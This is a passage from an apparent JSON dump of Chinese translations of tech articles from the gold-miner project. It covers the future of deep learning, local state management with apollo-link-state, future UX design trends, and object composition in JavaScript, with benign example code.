方面的工作（译者注：指这篇[论文](https://arxiv.org/abs/1703.00522)），反映了这一策略。 我希望在不久的将来会有更多的这方面的工作。\n\n可以想象这样一个未来，那时人们可以训练全局不可微（但具有可微的部分）的模型，他们使用一个高效的搜索过程，而非利用梯度方法。但与此同时，可微的部分则通过使用的某些利用梯度优势从而更高效版本的反向传播而训练得更快。\n\n## 自动化机器学习\n\n在未来，模型架构也是学习的对象，而不再由工程师手工搭建。学习架构将自动与使用更丰富的原语，以及类似程序的机器学习模型配合使用。\n\n目前，深入学习工程师的大部分工作就是用 Python 脚本清洗数据，然后对深度神经网络的架构和超参数进行长时间的调优，最终获得一个有用的模型 —— 如果工程师有野心的话，甚至可以说是当下最好的模型。无需多说，这并不是一个最理想的设置，但 AI 其实也可以帮忙。不幸的是，数据清洗的部分很难自动化，因为它通常需要对应的领域知识（Domain Knowledge），以及对工程师想要实现的工作有明确的高层理解。 然而，超参数调优其实只是一个简单的搜索过程，我们已经知道工程师在这种情况下需要实现什么：它由被调整网络的损失函数所定义。 设置基本的「AutoML」系统已经是一个常见的做法了，它负责大部分模型的参数调优。我甚至在几年前就这么干了，还赢得过 Kaggle 的比赛。\n\n在最基本的级别上，这样的系统将简单地调整（网络）栈中的层数、它们的顺序以及每一层中的单元或过滤器的数量。 这通常可以由诸如 Hyperopt 的库来完成，我们在第 7 章中讨论过（注：[Deep Learning with Python](https://www.manning.com/books/deep-learning-with-python?a_aid=keras&a_bid=76564dff)）。但是我们也可以更加有野心，尝试从头开始学习一个适当的网络架构，尽可能少的约束。这可以通过加强学习来实现，例如遗传算法。\n\n另一个重要的 AutoML 方向是与模型权重一起学习模型架构。因为每次尝试一个稍微不同的架构都需要重新训练模型是异常低效的，所以一个真正强大的 AutoML 系统将通过对训练数据的反馈来调整模型的特征，同时管理网络架构，进而消除所有计算冗余。这样的方法已经开始出现，因为我正在写这些东西。\n\n当这种情况开始发生时，机器学习工程师的工作并不会消失 —— 相反，工程师将在价值创造链上站的更高。他们将开始更多地努力制定真正反映业务目标的复杂损失函数，并更加深入了解他们的模型如何影响其部署的数字生态系统（例如，消耗模型预测内容并生成模型训练数据的用户）—— 考虑那些目前只有大公司才能考虑的问题。\n\n## 终身学习与模块化子程序复用\n\n如果模型变得更加复杂，并且建立在更丰富的算法原语之上，那么这种增加的复杂性将需要更高的任务之间的复用，而不是每当我们有一个新的任务或一个新的数据集从头开始训练一个新的模型。实际上，很多数据集并没有包含足够的信息来从头开发新的复杂模型，而且利用来自先前遇到的数据集的信息也是有必要的。 这就像你每次打开新书时都不会从头开始学习英语 —— 这是不可能的。此外，由于当前任务与以前遇到的任务之间的重叠很大，对每个新任务重头开始训练模型的效率是非常低的。\n\n此外，近年来反复出现的一个值得注意的现象是，同一个模型同时进行多个松散连接任务的同时会产生一个更好的模型，而这个模型对每个任务的结果都更好。例如，训练相同的神经网络机器翻译模型来涵盖「英语到德语」的翻译和「法语到意大利语」的翻译将获得对每个语言间翻译效果都更好的模型。与图像分割模型联合训练图像分类模型，并共享相同的卷积基，能得到对于两个任务更好的模型，等等。这是相当直观的：在这些看似断开连接的任务之间总是存在一些信息重叠。因此，联合模型可以获得比仅针对该特定任务训练的模型更多的关于每个独立任务的信息。\n\n你已经在第 5 章中看到，我们目前是沿着跨任务复用模型的方式，利用预训练的权重来执行常见函数的模型，如视觉特征提取。在未来，我会期望出现这种更一般的版本：我们不仅将利用以前学习的特征（子模型权重），还可以利用模型架构和训练过程。随着模型越来越像程序，我们将开始复用程序的子程序，就像编程语言中的函数和类那样。\n\n想想今天的软件开发过程：一旦工程师解决了一个特定的问题（例如 Python 中的 HTTP 查询），他们将把它打包成一个抽象的和可复用的库。未来面临类似问题的工程师可以简单地搜索现有的库，下载并在自己的项目中使用它们。类似的方式，将来的元学习系统将能够通过筛选全局库中高度可复用块来组装新程序。当系统发现自己为几个不同的任务开发类似的程序子程序时，如果可以产生一个「抽象的」子程序的可复用版本，就会将其存储在全局库中。这样的过程将实现抽象的能力，这是实现「极端泛化」的必要组件：在不同任务和领域中被发现的有用的子程序可以说是「抽象化」问题解决的一些方面。 「抽象」的定义与软件工程中抽象的概念相似，这些子程序可以是几何（具有预先训练表示的深度学习模块）或算法（更靠近当代软件工程师操纵的库）。\n\n![A meta-learner capable of quickly developing task-specific models using reusable primitives (both algorithmic and geometric), thus achieving &quot;extreme generalization&quot;.](https://blog.keras.io/img/future-of-dl/metalearning2.png)\n\n**图: 元学习者能够使用可复用的（算法与几何）原语快速开发特定任务的模型，从而实现「极端泛化」。**\n\n## 长期愿景\n\n简单来说，以下是我对机器学习的一些长期愿景：\n\n- 模型将更像是程序，并且具有远远超出我们目前使用的输入数据的连续几何变换的能力。这些程序可以说是更接近于人类对周围环境和自身的抽象思维模式，而且由于其丰富的算法性质，它们将具有更强的泛化能力。\n  环境及其自身，由于其丰富的算法性质，它们能够获得更强的泛化能力。\n- 特别地，模型将混合提供正式推理、搜索和抽象能力的算法模块，和提供非正式的直觉和模式识别功能的几何模块。AlphaGo（一个需要大量手动软件工程和人造设计决策的系统）提供了一个早期的范例，说明了符号与几何 AI 之间进行混合可能的样子。\n- 它们将不再由人类工程师手工打造，自动成长并使用存储在可复用子程序的全局库中的模块化部件（通过在数千个前有任务和数据集上学习过的高性能模型而演变出现的库）。由于常见的问题解决模式是通过元学习系统来识别的，它们将变成可复用的子程序并被添加到全局库中，像极了当代软件工程中的函数和类，进而实现了抽象的能力。\n- 这个全局库和相关的模式增长系统将能够实现某种形式的人类「极端泛化」：给定一个新的任务、一个新的情况，该系统将能够使用非常少的数据组装适合于任务的新的有效模型。这归功于：第一，可以像原语一样使用，丰富且泛化良好的程序（包）；第二，丰富的类似任务的经验。同样地，人类也可以用很少的游戏时间来学习复杂的新游戏，因为他们有许多以前的游戏的经验，并且从以前的经验得出的模型是抽象的和类似程序的，而不是刺激和行动之间的基本映射。\n- 就此来看，这种永恒学习的模型成长系统可以被解释为人造通用智能（AGI, Artificial General Intelligence）。但请不要指望任何奇点主义的（Singularitarian）机器人灾难发生：那是纯粹的幻想，是来自一系列长期对智能和技术的深刻误解。然而，这个批评不在本文讨论的范围之内（译者注：奇点主义是指采取有益于人类、避免导致超越人类智慧的人造智慧出现的行动）。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/the-future-of-state-management.md",
    "content": "> * 原文地址：[The future of state management](https://dev-blog.apollodata.com/the-future-of-state-management-dd410864cae2)\n> * 原文作者：[Peggy Rayzis](https://dev-blog.apollodata.com/@peggyrayzis?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-future-of-state-management.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-future-of-state-management.md)\n> * 译者：[yct21](https://github.com/yct21/)\n\n# 状态管理的未来：在 Apollo Client 中使用 apollo-link-state 管理本地数据\n\n![](https://cdn-images-1.medium.com/max/1000/1*YfE1f2lBr0hnpcRESiUy1w.png)\n\n当一个应用的规模逐渐扩张，其所包含的应用状态一般也会变得更加复杂。作为开发者，我们可能既要协调从多个远端服务器发送来的数据，也要管理好涉及 UI 交互的本地数据。我们需要以一种合适的方法存储这些数据，让应用中的组件可以简洁地获取这些数据。\n\n许多开发者告诉过我们，使用 Apollo Client 可以很好地管理远端数据，这部分数据一般会占到总数据量的 **80%** 左右。那么剩下的 20% 的本地数据（例如全局标志、设备 API 返回的结果等）应该怎样处理呢？\n\n过去，Apollo 的用户通常会使用一个单独的 Redux/Mobx store 来管理这部分本地的数据。在 Apollo Client 1.0 时期，这是一个可行的方案。但当 Apollo Client 进入 2.0 版本，不再依赖于 Redux，如何去同步本地和远端的数据，变得比原来更加棘手。我们收到了许多用户的反馈，希望能有一种方案，可以将完整的应用状态封装在 Apollo Client 中，从而实现**单一的数据源 (single source of truth)**。\n\n## 解决问题的基础\n\n我们知道这个问题需要解决，现在让我们思考一下，如何正确地在 Apollo Client 中管理状态？首先，让我们回顾一下我们喜欢 Redux 的地方，比如它的开发工具，以及将组件与应用状态绑定的 `connect` 函数。我们同时还要考虑使用 Redux 的痛点，例如繁琐的样板代码，又比如在使用 Redux 的过程中，有许多核心的需求，包括异步的 action creator，或者是状态缓存的实现，再或者是积极界面策略的采用，往往都需要我们亲自去实现。\n\n要实现一个理想的状态管理方案，我们应当对 Redux 取长弃短。此外，GraphQL 有能力将对多个数据源的请求集成在单次查询中，在此我们将充分利用这个特性。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZHTs1iOH247NQLEOxXzHFw.png)\n\n以上是 Apollo Client 的数据流架构图。\n\n## GraphQL：一旦学会，随处可用\n\n关于 GraphQL 有一个常见的误区：GraphQL 的实施依赖于服务器端某种特定的实现。事实上，GraphQL 具有很强的灵活性。GraphQL 并不在乎请求是要发送给一个 [gRPC 服务器](https://github.com/iheanyi/go-grpc-graphql-simple-example)，或是 [REST 端点](https://github.com/apollographql/apollo-link-rest)，又或是[客户端缓存](https://github.com/apollographql/apollo-link-state)。GraphQL 是一门**针对数据的通用语言**，与数据的来源毫无关联。\n\n而这也就是为何 GraphQL 中的 query 与 mutation 可以完美地描述应用状态的状况。我们可以使用 GraphQL mutation 来表述应用状态的变化过程，而不是去发送某个 action。在查询应用状态时，GraphQL query 也能以一种声明式的方式描述出组件所需要的数据。\n\nGraphQL 最大的一个优势在于，当给 GraphQL 语句中的字段加上合适的 GraphQL 指令后，单条 query 就可以从多个数据源中获取数据，无论本地还是远端。让我们来看看具体的方法。\n\n## Apollo Client 中的状态管理\n\n[Apollo Link](https://www.apollographql.com/docs/link/) 是 Apollo 的模块化网络栈，可以用于在某个 GraphQL 请求的生命周期的任意阶段插入钩子代码。Apollo Link 使得在 Apollo Client 中管理本地的数据成为可能，从一个 GraphQL 服务器中获取数据，可以使用 `HttpLink`，而从 Apollo 的缓存中请求数据，则需要使用一个新的 link: `apollo-link-state`。\n\n```\nimport { ApolloClient } from 'apollo-client';\nimport { InMemoryCache } from 'apollo-cache-inmemory';\nimport { ApolloLink } from 'apollo-link';\nimport { withClientState } from 'apollo-link-state';\nimport { HttpLink } from 'apollo-link-http';\n\nimport { defaults, resolvers } from './resolvers/todos';\n\nconst cache = new InMemoryCache();\n\nconst stateLink = withClientState({ resolvers, cache, defaults });\n\nconst client = new ApolloClient({\n  cache,\n  link: ApolloLink.from([stateLink, new HttpLink()]),\n});\n```\n\n以上代码是使用 `apollo-link-state` 初始化 Apollo Client。\n\n要初始化一个 state link，须要将一个包含 `resolvers`、`defaults` 和 `cache` 字段的 object 作为参数，调用 Apollo Link 中的 `withClientState` 函数。然后将这个 state link 加入 Apollo Client 的 link 链中。该 state link 应该放在 `HttpLink` 之前，这样本地的 query 和 mutation 会在发向服务器前被拦截。\n\n### Defaults\n\n前文的 `defaults` 字段是一个用于表示状态初始值的 object，当 state link 刚创建时，这个默认值会被写入 Apollo Client 的缓存。尽管不是必需的参数，不过预热缓存是一个很重要的步骤，传入的 `default` 使得组件不会因为查询不到数据而出错。\n\n```\nexport const defaults = {\n  visibilityFilter: 'SHOW_ALL',\n  todos: [],\n};\n```\n\n以上代码的 `defaults` 代表了 Apollo cache 的初始值。\n\n### Resolvers\n\n在使用 Apollo Client 管理应用状态后，Apollo cache 成为了应用的单一数据源，包括了本地和远端的数据。那么我们应当如何查询和更新缓存中的数据呢？这便是 Resolver 发挥作用的地方了。如果你以前在服务器端使用过 `graphql-tools`，那么你会发现两者的 resolver 的类型签名是一样的。\n\n```\nfieldName: (obj, args, context, info) => result;\n```\n\n如果你没见过以上这段类型签名，不要紧张，只需记住重要的两点：query 或者 mutation 的变量通过 `args` 参数传递给 resolver；Apollo cache 会作为 `context` 参数的一部分传递给 resolver。\n\n```\nexport const defaults = { // same as before }\n\nexport const resolvers = {\n  Mutation: {\n    visibilityFilter: (_, { filter }, { cache }) => {\n      cache.writeData({ data: { visibilityFilter: filter } });\n      return null;\n    },\n    addTodo: (_, { text }, { cache }) => {\n      const query = gql`\n        query GetTodos {\n          todos @client {\n            id\n            text\n            completed\n          }\n        }\n      `;\n      const previous = cache.readQuery({ query });\n      const newTodo = {\n        id: nextTodoId++,\n        text,\n        completed: false,\n        __typename: 'TodoItem',\n      };\n      const data = {\n        todos: previous.todos.concat([newTodo]),\n      };\n      cache.writeData({ data });\n      return newTodo;\n    },\n  }\n}\n```\n\n以上的 Resolver 函数是查询和更新 Apollo cache 的方法。\n\n若要在 Apollo cache 的根上写入数据，可以调用 `cache.writeData` 方法并传入相应的数据。有时候我们需要写入的数据依赖于 Apollo cache 中原有的数据，例如上面的 `addTodo` 方法。在这种情况下，可以在写入之前先用 `cache.readQuery` 查询一遍数据。若要给一个已经存在的 object 写一个 fragment，可以传入一个可选参数 `id`，这个参数是相应 object 的 cache 索引。上文我们使用了 `InMemoryCache`，因此索引的形式应当是 `__typename:id`。\n\n`apollo-link-state` 支持异步的 resolver 方法，可以用于执行一些异步的副作用过程，比如访问一些设备的 API。然而，我们不建议在 resolver 中对 REST 端点发请求。正确的方法是使用 `[apollo-link-rest](https://github.com/apollographql/apollo-link-rest)`，这个包里包含有 `@rest` 指令。\n\n### `@client` 指令\n\n当应用的 UI 触发了一个 mutation 之后，Apollo 的网络栈需要知道要更新的数据存在于客户端还是服务器端。`apollo-link-state` 使用 `@client` 指令来标记只需存在于客户端本地的字段，然后，`apollo-link-state` 会在这些字段上调用相应的 resolver 方法。\n\n```\nconst SET_VISIBILITY = gql`\n  mutation SetFilter($filter: String!) {\n    visibilityFilter(filter: $filter) @client\n  }\n`;\n\nconst setVisibilityFilter = graphql(SET_VISIBILITY, {\n  props: ({ mutate, ownProps }) => ({\n    onClick: () => mutate({ variables: { filter: ownProps.filter } }),\n  }),\n});\n```\n\n以上这段代码通过 `@client` 指令将数据修改限制在本地。\n\nQuery 的形式和 mutation 类似。如果在 query 中使用了异步的查询，Apollo Client 会为你追踪数据加载和出错的状态。如果使用的是 React，可以在组件的 `this.props.data` 中找到相应的数据，里面还会有很多辅助方法，例如重发请求、分页以及轮询等功能。\n\nGraphQL 的一个很让人激动的功能是在单个 query 中向多个数据源请求数据。在下面的例子中，我们在同一条 query 内查询了 GraphQL 服务器中存储的 `user` 数据以及 Apollo cache 中的 `visibilityFilter` 数据。\n\n```\nconst GET_USERS_ACTIVE_TODOS = gql`\n  {\n    visibilityFilter @client\n    user(id: 1) {\n      name\n      address\n    }\n  }\n`;\n\nconst withActiveState = graphql(GET_USERS_ACTIVE_TODOS, {\n  props: ({ ownProps, data }) => ({\n    active: ownProps.filter === data.visibilityFilter,\n    data,\n  }),\n});\n```\n\n以上代码使用 `@client` 指令查询 Apollo cache。\n\n在我们 [最新的文档页中](https://www.apollographql.com/docs/link/links/state.html)，可以找到更多的例子，以及一些将 `apollo-link-state` 集成在应用中的小贴士。\n\n## 1.0 版本前的路线图\n\n尽管 `apollo-link-state` 的开发已足够稳定，可以投入实际应用的开发了，但仍有一些特性我们希望能尽快实现：\n\n* **客户端数据模式**：当前，我们还不支持对客户端数据模式结构的类型校验，这是因为，如果要将用于运行时构建和校验数据模式的 `graphql-js` 模块放入依赖中，会显著增大网站资源文件的大小。为了避免这点，我们希望能将数据模式的构建转移到项目的构建阶段，从而达到对类型校验的支持，并也可以用到 GraphiQL 中的各种很酷的功能。\n* **辅助组件**：我们的目标是让 Apollo 的状态管理尽可能地与应用无缝连接。我们会写一些 React 组件，使得某些常见需求的实现不再繁琐，譬如在代码层面上允许直接将程序中的变量作为参数传递给某个 mutation 当中，然后在内部直接以 mutation 的方式实现。\n\n如果你对上述问题感兴趣，可以在 [GitHub](https://github.com/apollographql/apollo-link-state) 上加入我们的开发和讨论，或者进入 Apollo Slack 的 `#local-state` 频道。欢迎你来和我们一起构建下一代的状态管理方法！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-future-of-ux-design.md",
    "content": "> * 原文地址：[The Future of UX Design](https://uxdesign.cc/the-future-of-ux-design-8942e8fe0e8f#.83cutbv0n)\n* 原文作者：[Joanna Ngai](https://uxdesign.cc/@ngai.yt)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Kulbear](https://kulbear.github.io/)\n* 校对者：[yifili09](https://github.com/yifili09)，[rottenpen](https://github.com/rottenpen)\n\n# 用户体验设计的未来\n\n![](http://ac-Myg6wSTV.clouddn.com/e3d684fd9164f58e7f03.png)\n\n让我们谈谈现在的流行趋势吧。设计将会在教育，医保，工作和城市这些领域的将来起一种怎样的作用呢？\n\n### 1. 迅猛增长的个性化\n\n在将来，科技和设计会被搭配在一起来为用户谋福利。这是因为，在向未来迈进的同时我们可以为个人提供更多的（设计上的）机会和选择。\n> 数据将会使体验细化到个人的级别。针对喜好的数据收集将会被针对每个单一个体的偏好数据收集所替代，并（针对个人）进行调整。\n\n这样，远程医疗之类的选择将会给那些希望在 Skype 上和自己的医生交流的病人提供便利。他们不再需要“跋山涉水”的亲自拜访医生了。\n\n学校的课程将会以一种最容易被一类学生接受的方式提供，而且再根据每个人学习能力上的缺陷做一些个性化的调整。\n\n随着科技发展的复杂度越来越发达，个性化也越来越普遍。\n\n### 2. 整体观念（也许全景观念也可以？等校对）\n\n> 拥有一个全面的健康观念正在成为一种新兴趋势。\n\n> 隐藏在解决病人病情背后的设计理念正在进行着由被动向主动的改变。\n\n比如，医生将可以直接建议你多开窗以改变你办公环境的空气质量，或者是提醒你在工作的同时别忘了加一些小间隔的休息，而不是给你开一些处方药了事。你休息或工作时所处的环境和你的身体症状一样都会被一声考虑在内。\n\n医院可以在你的工作地点进行一些常规检查，并且可以将医疗中心部署在人员密集的地区。健康的生活习惯将会被鼓励，而不健康的将会在某些地方有“小小的惩罚”来督促你改变不良的习惯。\n\n### 3. 可持续性\n\n计划性报废的产品将不复存在于这个资源短缺的世界上了。产品必须经久耐用，甚至要做到比它的设计者有着更长的寿命。\n\n未来的设计师们必须要考虑可持续性，并且保持对生产，材料和所用资源负责任。\n\n### 4. 更聪明的机器\n\n自动化和机器学习将会在你的用户体验中占据大半江山。它们可能会在一些常规进程或活动中预测感知到下一步该如何做，并且提醒你。也可能通过学习一些诸如“你每三周都要做的事”来取代你完成这些微不足道的日常琐事。\n\n> 我们丰富的用户数据能使你的产品们能相互交流，来为你提供无缝的用户体验。\n\n> 举个例子，你手机上的一个应用可以追踪你的健康信息并提醒你的医生。你的医生会直接将一些医疗指导或建议发到你妻子的邮箱里。\n\n自然语言可以被更多机器理解。你再也不用有必须将大段内容浓缩至简后才能搜索的挫败感了，取而代之的是针对对话内容的搜索。\n\n随着机器越发的人性化，机器将会可以预测我们的喜怒哀乐、需求和爱好。而我们可能会越发的“机械化”。\n\n> 未来城市的生活体验将会更加温和和具有流动性，正如我们的工作生态系统。\n\n便利性将会成为主导，而非为了不同的需求往返于不同的地点。正如医疗服务一样，多方位的建筑设计会为广大群众服务，运输多种不同的货物，提供不同的服务和娱乐，以及便利的医疗设施。\n\n高速的网络和稳定的链接使我们身在何处或者是否在直接使用电子设备变得不再重要了，我们（人类）和科技的间隔会越来越小。\n\n*感谢您读完了这篇文章。* —  **更多我的作品请参见这里 [my blog](http://design-unicorn.blogspot.com/)!**\n"
  },
  {
    "path": "TODO/the-hidden-treasures-of-object-composition.md",
    "content": "> * 原文地址：[The Hidden Treasures of Object Composition](https://medium.com/javascript-scene/the-hidden-treasures-of-object-composition-60cd89480381)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-hidden-treasures-of-object-composition.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-hidden-treasures-of-object-composition.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[IridescentMia](https://github.com/iridescentmia) [PCAaron](https://github.com/PCAaron)\n\n# 对象组合中的宝藏\n\n![](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n\n> 这是 “软件编写” 系列文章的第十三部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科\n> [< 上一篇](https://juejin.im/post/5a2d363e6fb9a0450b6652c8) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n> “通过对象的组合装配或者组合对象来获得更复杂的行为” ~ Gang of Four，[《设计模式：可复用面向对象软件的基础》](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612//ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=eejs-20&linkId=06ccc4a53e0a9e5ebd65ffeed9755744)\n>\n> “优先考虑对象组合而不是类继承。” ~ Gang of Four，[《设计模式：可复用面向对象软件的基础》](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612//ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=eejs-20&linkId=06ccc4a53e0a9e5ebd65ffeed9755744)\n\n软件开发中最常见的错误之一就是对于类继承的过度使用。类继承是一个代码复用机制，实例对象和基类构成了 **is-a** 关系。如果你想要使用 is-a 关系来构建应用程序，你将陷入麻烦，因为在面向对象设计中，类继承是最紧的耦合形式，这种耦合会引起下面这些常见问题：\n\n* 脆弱的基类问题\n* 猩猩/香蕉问题\n* 不得已的重复问题\n\n类继承是通过从基类中抽象出一个可供子类继承或者重载的公共接口来实现复用的。**抽象**有两个重要的方面：\n\n* **泛化（Generalization）**：该过程提取了服务于普遍用例的共享属性和行为。\n* **具化（Specialization）**：该过程提供了一个被特殊用例需要的实现细节。\n\n目前，有许多方式去完成泛化和具化。注入简单函数、高阶函数、以及**对象组合**都能很好地代替类继承。\n\n不幸的是，对象组合非常容易被曲解，许多开发者都难于用对象组合的方式来思考问题。现在，是时候更深层次地探索这一主题了。\n\n### 什么是对象组合？\n\n> “在计算机科学中，一个组合数据类型或是复合数据类型是任意的一个可以通过编程语言原始数据类型或者其他数据类型构造而成的数据类型。构成一个复合类型的操作又称为组合。” ~ Wikipedia\n\n形成对象组合疑云的原因之一是，任何将原始数据类型组装到一个复合对象的过程都是对象组合的一个形式，但是继承技术却经常与对象组合作对比，即便它们是全然不同的两件事。这种二义性的产生是由于对象组合的语法（grammer）和语义（semantic）间存在着一个差别。\n\n当我们谈论到对象组合 vs 类继承时，我们并非在谈论一个具体的技术：我们是在谈论组件对象（component objects）间的**语义关联**和**耦合程度**。我们谈论的是**意义**而非**语法**，人们通常一叶障目而不见泰山，无法区别二者，并陷入到语法细节中去。\n\nGoF 建议道 “优先使用对象组合而不是类继承”，这启示了我们将对象看作是更小，耦合更松的对象的组合，而不是大量从一个统一的基类继承而来。GoF 将紧耦合对象描述为 “它们形成了一个统一的系统，你无法在对其他类不知情或者不更改的情况下修改或者删除某个类。这让系统结构变得紧密，从而难于认知、修改及维护。”\n\n### 三种不同形式的对象组合\n\n在《设计模式中》，GoF 声称：“你将一次又一次的在设计模式中看到对象组合”，并且描述了不同类型的组合关系，包括有聚合（aggregation）和委托（delegation）。\n\n《设计模式》的作者最初是使用 C++ 和 Smalltalk（Java 的前身）进行工作的。相较于 JavaScript，它们在运行时构建和改变对象关系要更加复杂，所以，GoF 在叙述对象组合时没用牵涉任何的实现细节也是可以理解的。然而，在 JavaScript 中，脱离动态对象扩展（也称为 **连接（concatenation）**）去讨论对象组合是不可能的。\n\n相较于《设计模式》中对象组合的定义，出于对 JavaScript 适用性以及构造一个更清晰的泛化的考虑，我们会**稍做**发散。例如，我们不会要求聚合需要**隐式**控制子类对象的生命期。对于动态对象扩展的语言来说，这并不正确。\n\n如果选择了一个错误的公理，会让我们在得出有用泛化时受到不必要的限制，强制我们为具有相同大意的特殊用例起一个名字。软件开发者不喜欢重复做不需要的事儿。\n\n* **聚合（Aggregation）**：一个对象是由一个可枚举的子对象集合构成。换言之，一个对象可以**包含**其他对象。每个子对象都保留了它自己的引用，因此它可以在信息不丢失的情况下直接从聚合对象中解构出来。\n* **连接（Concatenation）**：一个对象通过向现有对象增加属性而构成。属性可以一个个连接或者是从现有对象中拷贝。例如，jQuery 插件通过连接新的方法到 jQuery 委托原型 —— `jQuery.fn` 上而构建。\n* **委托（Delegation）**：一个对象直接指向或者**委托**到另一个对象。例如，[Ivan Sutherland 的画板](https://www.youtube.com/watch?v=BKM3CmRqK2o) 中的实例都含有 “master” 的引用，其被委托来共享属性。Photoshop 中的 “smart objects” 则作为了委托到外部资源的局部代理。JavaScript 的原型（prototype）也是代理：数组实例的方法指向了内置的数组原型 `Array.prototype` 上的方法，对象实例的方法则指向了 `Object.prototype` 上，等等。\n\n需要注意的是这三种对象组合形式并不是彼此**互斥的**。我们能够使用聚合来实现委托，在 JavaScript 中，类继承也是通过委托实现的。许多软件系统用了不止一种组合，例如 jQuery 插件使用了连接来扩展 jQuery 委托原型 —— `jQuery.fn`。当客户端代码调用插件上的方法，请求将会被委托给连接到 `jQuery.fn` 上的方法。\n\n> 后文的代码实例中的将会共享下面这段初始化代码：\n\n```javascript\nconst objs = [\n  { a: 'a', b: 'ab' },\n  { b: 'b' },\n  { c: 'c', b: 'cb' }\n];\n```\n\n### 聚合\n\n聚合表示一个对象是由一个可枚举的子对象集合构成。一个聚合对象就是包含了其他对象的对象。聚合中的每一个子对象都保留了各自的引用，因此能够轻易地从聚合中解构出来。聚合对象可以表现为不同类型的数据结构。\n\n#### 例子\n\n* 数组（Arrays）\n* 映射（Maps）\n* 集合（Sets）\n* 图（Graphs）\n* 树（Trees）\n* DOM 节点 (一个 DOM 节点能包含子节点)\n* UI 组件(一个组件能包含子组件)\n\n#### 何时使用\n\n当集合中的成员需要共享相同的操作时（集合中的某个元素需要和其他元素共享同样的接口），可以考虑使用聚合，例如可迭代对象（iterables）、栈、队列、树、图、状态机或者是它们的组合。\n\n#### 注意事项\n\n聚合适用于为集合元素应用一个统一抽象，例如为集合中的每个成员应用一个将标量转换为向量的函数（如：`array.map(fn)`）等等。但是，如果有成百上千或者成千上万甚至上百万个子对象，那么流式处理更加高效。\n\n#### 代码示例\n\n数组聚合：\n\n```javascript\nconst collection = (a, e) => a.concat([e]);\nconst a = objs.reduce(collection, []);\nconsole.log( \n  'collection aggregation',\n  a,\n  a[1].b,\n  a[2].c,\n  `enumerable keys: ${ Object.keys(a) }`\n);\n```\n\n这将生成：\n\n```\ncollection aggregation\n[{\"a\":\"a\",\"b\":\"ab\"},{\"b\":\"b\"},{\"c\":\"c\",\"b\":\"cb\"}]\nb \nc\nenumerable keys: 0,1,2\n```\n\n使用 pairs 进行的链表聚合：\n\n```javascript\nconst pair = (a, b) => [b, a];\nconst l = objs.reduceRight(pair, []);\nconsole.log(\n  'linked list aggregation',\n  l,\n  `enumerable keys: ${ Object.keys(l) }`\n);\n/*\nlinked list aggregation\n[\n  {\"a\":\"a\",\"b\":\"ab\"}, [\n    {\"b\":\"b\"}, [\n      {\"c\":\"c\",\"b\":\"cb\"},\n      []\n    ]\n  ]\n]\nenumerable keys: 0,1\n*/\n```\n\n链表构成了其他数据结构或者聚合的基础，例如数组、字符串以及各种形态的树。可能还有其他类型的聚合，但我们在此不会对它们都进行深度探究。\n\n### 连接\n\n连接表示一个对象通过向现有对象增加属性而构成。\n\n#### 例子\n\n* jQuery 插件通过连接被添加到 `jQuery.fn`\n* 状态 reducer（例如：Redux）\n* 函数式 mixin\n\n#### 何时使用\n\n只要装配数据对象的过程是在运行时，就考虑使用连接，例如，合并 JSON 对象、从多个源中合并应用状态、以及不可变状态的更新（通过将新的数据混合到前一步状态）等等。\n\n#### 注意事项\n\n* 谨慎地改变现有对象。共享的可变状态是滋生 bug 的温床。\n* 可以使用连接来模拟类继承和 is-a 关系。这也会面临和类继承一样的问题。多考虑组合小的、独立的对象，而不是从一个 “基础” 实例上继承属性，亦或使用差分继承（differential inheritance，译注：参看 [MDN - Differential inheritance in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Differential_inheritance_in_JavaScript)）\n* 注意隐式的内在组件依赖。\n* 